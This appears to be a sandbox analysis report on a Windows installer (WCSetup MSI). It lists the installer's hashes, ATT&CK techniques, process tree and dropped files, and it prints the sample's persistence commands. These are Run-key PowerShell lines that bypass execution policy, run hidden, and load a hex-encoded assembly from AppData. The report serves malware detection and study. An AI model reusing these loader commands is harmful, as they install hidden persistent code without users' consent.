24e7e2dcb6102224d489081a32b1aee6c1ea035295d58fbce7f85c7f22c543fe

Resubmissions

25-02-2024 15:28

240225-swjd7aef55 8

25-02-2024 01:13

240225-bk9cssad4s 8

Analysis

max time kernel
121s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
25-02-2024 15:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

WCSetupv1.22.1001.26353_Upgrade.msi
Size

3.0MB
MD5

3520764ae6ee89d4f99cf57aa1b57e1d
SHA1

371694797572bfc26f76818b2e11a6f6234d2a17
SHA256

24e7e2dcb6102224d489081a32b1aee6c1ea035295d58fbce7f85c7f22c543fe
SHA512

b0f40f8cb8c37a8a674cb175577c8bbb245f253bee406c27cc2114ac9f28612248debde7497d85698d429ad379b819e801d9e7e4f92738b080059325a98aa47c
SSDEEP

49152:7d8YP5T68otYLN4iFvr/7RaKAcXGQt56YK1JeXl2ahGeCArKOdqXljTkNhwCqgY2:OY6YLAXefjGRaUqJ

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
5	4864	msiexec.exe
9	4864	msiexec.exe
20	4864	msiexec.exe
27	4864	msiexec.exe
41	4496	powershell.exe
43	2832	powershell.exe
45	4872	powershell.exe
46	768	powershell.exe
49	744	powershell.exe
55	744	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WCStartup = "powershell -noninteractive -ExecutionPolicy bypass -c \"$w=\"$env:APPDATA\"+'/BBWC/';[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'Newtonsoft.Json.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'System.Data.SQLite.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'ICSharpCode.SharpZipLib.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'LZ4.dll'));$f=$w+'WC.txt';$h=Get-Content -Path $f -Raw;$h=Get-Content -Path $f -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^','0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.StartUp]::Start()\""	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WCUpate = "powershell.exe -WindowStyle Hidden -ExecutionPolicy bypass -c \"Start-Sleep 300\";\"& \"\"\"C:\\Users\\Admin\\AppData\\Roaming\\BBWC\\updater.exe\"\"\" /silentall -nofreqcheck\""	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI662D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI71C7.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI77F5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8005.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5764d4.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6551.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7206.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7217.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7767.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3B030E7B-7DC9-4B85-8096-1D5F1F46AAE7}	msiexec.exe
File created	C:\Windows\Installer\e5764d4.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA1DA.tmp	msiexec.exe
File created	C:\Windows\Installer\e5764d8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI867F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8EBD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8EBE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI78E0.tmp	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
1128	7za.exe
1664	MSI8EBD.tmp

Loads dropped DLL 11 IoCs

pid	Process
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe
4448	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000039a337e041d2b58d0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000039a337e00000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090039a337e0000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d39a337e0000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000039a337e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
1676	msiexec.exe
1676	msiexec.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
3684	powershell.exe
3684	powershell.exe
744	powershell.exe
744	powershell.exe
3684	powershell.exe
744	powershell.exe
744	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4864	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4864	msiexec.exe
Token: SeSecurityPrivilege	1676	msiexec.exe
Token: SeCreateTokenPrivilege	4864	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4864	msiexec.exe
Token: SeLockMemoryPrivilege	4864	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4864	msiexec.exe
Token: SeMachineAccountPrivilege	4864	msiexec.exe
Token: SeTcbPrivilege	4864	msiexec.exe
Token: SeSecurityPrivilege	4864	msiexec.exe
Token: SeTakeOwnershipPrivilege	4864	msiexec.exe
Token: SeLoadDriverPrivilege	4864	msiexec.exe
Token: SeSystemProfilePrivilege	4864	msiexec.exe
Token: SeSystemtimePrivilege	4864	msiexec.exe
Token: SeProfSingleProcessPrivilege	4864	msiexec.exe
Token: SeIncBasePriorityPrivilege	4864	msiexec.exe
Token: SeCreatePagefilePrivilege	4864	msiexec.exe
Token: SeCreatePermanentPrivilege	4864	msiexec.exe
Token: SeBackupPrivilege	4864	msiexec.exe
Token: SeRestorePrivilege	4864	msiexec.exe
Token: SeShutdownPrivilege	4864	msiexec.exe
Token: SeDebugPrivilege	4864	msiexec.exe
Token: SeAuditPrivilege	4864	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4864	msiexec.exe
Token: SeChangeNotifyPrivilege	4864	msiexec.exe
Token: SeRemoteShutdownPrivilege	4864	msiexec.exe
Token: SeUndockPrivilege	4864	msiexec.exe
Token: SeSyncAgentPrivilege	4864	msiexec.exe
Token: SeEnableDelegationPrivilege	4864	msiexec.exe
Token: SeManageVolumePrivilege	4864	msiexec.exe
Token: SeImpersonatePrivilege	4864	msiexec.exe
Token: SeCreateGlobalPrivilege	4864	msiexec.exe
Token: SeBackupPrivilege	4412	vssvc.exe
Token: SeRestorePrivilege	4412	vssvc.exe
Token: SeAuditPrivilege	4412	vssvc.exe
Token: SeBackupPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe
Token: SeTakeOwnershipPrivilege	1676	msiexec.exe
Token: SeRestorePrivilege	1676	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4864	msiexec.exe
4864	msiexec.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 1928	1676	msiexec.exe	98
PID 1676 wrote to memory of 1928	1676	msiexec.exe	98
PID 1676 wrote to memory of 4448	1676	msiexec.exe	100
PID 1676 wrote to memory of 4448	1676	msiexec.exe	100
PID 1676 wrote to memory of 4448	1676	msiexec.exe	100
PID 4448 wrote to memory of 4496	4448	MsiExec.exe	101
PID 4448 wrote to memory of 4496	4448	MsiExec.exe	101
PID 4448 wrote to memory of 4496	4448	MsiExec.exe	101
PID 4448 wrote to memory of 4868	4448	MsiExec.exe	103
PID 4448 wrote to memory of 4868	4448	MsiExec.exe	103
PID 4448 wrote to memory of 4868	4448	MsiExec.exe	103
PID 4448 wrote to memory of 2832	4448	MsiExec.exe	105
PID 4448 wrote to memory of 2832	4448	MsiExec.exe	105
PID 4448 wrote to memory of 2832	4448	MsiExec.exe	105
PID 2832 wrote to memory of 1128	2832	powershell.exe	107
PID 2832 wrote to memory of 1128	2832	powershell.exe	107
PID 2832 wrote to memory of 1128	2832	powershell.exe	107
PID 4448 wrote to memory of 4872	4448	MsiExec.exe	108
PID 4448 wrote to memory of 4872	4448	MsiExec.exe	108
PID 4448 wrote to memory of 4872	4448	MsiExec.exe	108
PID 4448 wrote to memory of 768	4448	MsiExec.exe	110
PID 4448 wrote to memory of 768	4448	MsiExec.exe	110
PID 4448 wrote to memory of 768	4448	MsiExec.exe	110
PID 1676 wrote to memory of 1664	1676	msiexec.exe	113
PID 1676 wrote to memory of 1664	1676	msiexec.exe	113
PID 1676 wrote to memory of 1664	1676	msiexec.exe	113
PID 4448 wrote to memory of 3684	4448	MsiExec.exe	114
PID 4448 wrote to memory of 3684	4448	MsiExec.exe	114
PID 4448 wrote to memory of 3684	4448	MsiExec.exe	114
PID 4448 wrote to memory of 4332	4448	MsiExec.exe	119
PID 4448 wrote to memory of 4332	4448	MsiExec.exe	119
PID 4448 wrote to memory of 4332	4448	MsiExec.exe	119

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\WCSetupv1.22.1001.26353_Upgrade.msi
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4864

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1928
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BC6A9CF10510490A075AC19F18442E86
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss663E.tmp.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7229.tmp.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss7903.tmp.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Users\Admin\AppData\Roaming\BBWC\7za.exe
      "C:\Users\Admin\AppData\Roaming/BBWC/7za.exe" x WC.7z -y -p1.22.1001.26353
      4⤵
      Executes dropped EXE
      PID:1128
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss803A.tmp.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    PID:4872
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss86A7.tmp.ps1"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    PID:768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss8EC9.tmp.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssA1F7.tmp.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4332
- C:\Windows\Installer\MSI8EBD.tmp
  "C:\Windows\Installer\MSI8EBD.tmp" /DontWait /HideWindow /dir "C:\Users\Admin\AppData\Roaming\BBWC\" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noninteractive -ExecutionPolicy bypass -c "$w="$env:APPDATA"+'/BBWC/';[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'Newtonsoft.Json.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'System.Data.SQLite.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'ICSharpCode.SharpZipLib.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'LZ4.dll'));$f=$w+'WC.txt';$h=Get-Content -Path $f -Raw;$h=Get-Content -Path $f -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^','0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.StartUp]::Start()"
  2⤵
  - Executes dropped EXE
  PID:1664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noninteractive -ExecutionPolicy bypass -c "$w="$env:APPDATA"+'/BBWC/';[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'Newtonsoft.Json.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'System.Data.SQLite.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'ICSharpCode.SharpZipLib.dll'));[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes($w+'LZ4.dll'));$f=$w+'WC.txt';$h=Get-Content -Path $f -Raw;$h=Get-Content -Path $f -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^','0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.StartUp]::Start()"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e5764d7.rbs

Filesize
12KB

MD5
bce0852c67474c01dab23d3db1d522d9

SHA1
7e2ace35f019e31100211e49cd9e9d1bee3e83de

SHA256
1c5c59bc974bde45a8b5e147d785ad5733d46adc3002aa6af685dd85f33d4322

SHA512
eb1787b03da9c566c667cfe52e9f5b1cb7c1a1bc750afd70e577975d872579c8819bfc2f2dffddcbeb5c70afe429b583a0422fe90cc1f60ec58b8123c74a0e50

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C42BC945025A34066DAB76EF3F80A05

Filesize
50KB

MD5
0b943f04ba722b84d4a7d76435bc4c49

SHA1
b3ad47a51f03e346d979c8d25bcd4f6672ecc2b1

SHA256
b3be60d10ddce02c7081f82c51855fc46e498f020785f063fabdf8da0f8aa6c6

SHA512
8e451604ac97b73a1a282bedeb45a7e92aae6e4e56134800f9ac3e4ca7e28924ec4ddefc0c7f93e7c2f2c3890953abb6b0c4edc6230d978864c03e5329f2e99d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FE17BEC2A573BC9AE36869D0274FFA19_6DA81F04C5F9EAD2CD0268808FCE61E1

Filesize
727B

MD5
7a3b8457313a521e0d44f91765a4e041

SHA1
4ea8ecb5e7b4c11f4c491caf6cee7ced5ec4c267

SHA256
2b08ecf53bb8b6c430659926148f896102dc80b5f38b0ec5efe122199659651c

SHA512
7349fd1b8c490d540a8bb25f40587f9874ff5d9b1f9bdb2ea69db9218ebdbdccea5e4d6645fbd1098d051b008b1ebfd12a619c3a4d6fb54940705ab14933e159

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C42BC945025A34066DAB76EF3F80A05

Filesize
314B

MD5
6330e0142468b1fbcd4a82ae3c9c186f

SHA1
9be388089abdd4e95a864b37066c10f89c269d51

SHA256
3b9f5cd7c73e9f67091b6adaa3fde804ed972febf62b0a321e71cf25d491de85

SHA512
5d8d6b8e9895fc21369055b3ea4ac0a9c8ad253a53093b6be1eac3ea4334c73b29baa4b2c3a21ce910f368333d11fa273602c4e379239071bc549e0c51c16ef2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FE17BEC2A573BC9AE36869D0274FFA19_6DA81F04C5F9EAD2CD0268808FCE61E1

Filesize
478B

MD5
4d80750676bd5c80a433b689ee1847bd

SHA1
7572f3ae3955231af8297e49cbda35f3e8f75523

SHA256
40d0fb52619a05162f637530ff51232cc2913300197d665f5e9697f74f3b236d

SHA512
2c6ce1a43ba39ccf0e74bf177a83e1a399c82460a9e4c6ffbf52eb634e5ec1c6fc1b5cac168a8869b5d09403d33f767ae8d8ccb2f89c96d1e3414e941e0aa6f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
4bb6b219184c509131a9f769c845fe74

SHA1
3908c648d6e8f881bcfdff9be276913a74c0d2d6

SHA256
7d76fd07dcdfded6b7b0c00f15c97cba84a168bfc0c8dac658c4d6be4682f60e

SHA512
6fd9a3c71aafabe097d06911ba4d5116ca45c70edf84a46705f5c7ddae670f451d73c7d900f77cabeacc06f81cb7c941518c83a03f589d4b113e01f56160b400

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
70f016db60df1bb7dc55b5cfacc461a5

SHA1
2f1e1be823610adf32eeff4db436fec470427054

SHA256
16d2e69d92599e5702938245ec9ea015ae12ba956786f5c66ad78e5cfbc1b0a4

SHA512
adeecb5e442c7ef83d18e5e894a35dcd09dce4136d1bbe5757884bd65545eb2a903c72a62e799155e7d72d28c7afe7f20ab2768c69c68902928ff0f6982d19a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
c28c632c9cbc7b8a56b83d43197d2fe7

SHA1
c4fcd617f1f77ae11b8fd710f0831a3bbd61dc67

SHA256
cf3c9c4638e43d1b66c2ea1d5562dbd75ae87857ebbc9add2fb6efd01d236363

SHA512
162dc39987b58704bc4f38daa4ff0d6e1c5ce4872450413fa7bd649b36201deef8155ad809c75c79381417ac9b6ed730c09d59d642bf2d76913dff70891bbf12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
7bc5113ee211daccee619dd36149cda7

SHA1
79a94d1f82fbc8a075a0afb969a4cd141e39bbea

SHA256
ebfc3c4d0366d5ed5d80a206097b09276838e3b6049bd6304b7cec37c54eae80

SHA512
fadfcb5cd0fd84b176e1167d6d462101ceae94306c46a4f6bcc4b2774b0dc0e68fe5a7286b92c89f4ea0d30ea1a8a47ccde2637dad3dcd109087b6ef230ca344

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
78c0a94b84f9138515f6d5ac659dcbd5

SHA1
7e4b559414889409fde89a76a57c4e8f71b24fd2

SHA256
42c226408bb7795389cd916865dacab277c6a7db2284955116bdbad29fc1accc

SHA512
034b9d5c9c17be85f4ca792525a1bc8819243ba4ee32dbf2738b63b90ad8ba9941cde7132fefecb00e13b151b18163b71998cefec9ab57437167adae69a0f6ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
c896fad46de523c00495b1017d2fb1ff

SHA1
60a4424189e7b5841155d9629470e6eff5866716

SHA256
7b345d9151553723b7d48cf0b66546897b6bbc62e716c4b038ee9bd02c5adb3c

SHA512
91fc0eb2db1e17578bd5e0c02497764f6b35e424b84c842e63c81af58e0de5c069179d8ade6700e4d6d1c465b918236137f51e770d374609077b9b298c00c6a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
516726f3aef022468fa183ffebd8a630

SHA1
11941cb3113f1e5f70a6896b9e294ee83e7a8404

SHA256
f4d9edeff25adf5300ee8c7cb0d9876620d44ec4c91597bd45feedb378e6fc1f

SHA512
5505dfea53025a2798595765f12c24fa8ceadf67cc24b3e4b129dc3eb659294b9f7a330730ac4fedb85316d2cbea3c5bd1a881f0a4d78ac1a51495be901bb9df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
82a43ec0bba7ee686f0a14b7a8259b08

SHA1
dba39b1412ff95deda192dd4895f8bbbd5492951

SHA256
f896458a811fdce8cfa073ad39d71fac17ac2a4bcb180762960b8c90751529ea

SHA512
a37fb283b7239245ad18cbd2eb865066c176253e94c7b8a945a90e396d4f3aff224226310ce647cb6bb26aeca48b88b9bcd4a471aa8a9088f45b3fd113f7c7b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgte1j1t.o5o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss662D.tmp.ps1

Filesize
2KB

MD5
07deaaf07c51bacb7c5c50f01b377e4b

SHA1
ef730168dab76c054aaa35d43df69b501cd422a5

SHA256
aa09e65538a8577961f61f55f5e845dd69cccbac777a832148738431a5fba458

SHA512
000513cd58b565841e19a171032ab1586dbfc0679532964055f17137381fe0dba29c87b473b0d05b56836060a11172954fe3f50aea9cf7eb8b50f0ecd27a852f

Download Submit
C:\Users\Admin\AppData\Local\Temp\pss663E.tmp.ps1

Filesize
5KB

MD5
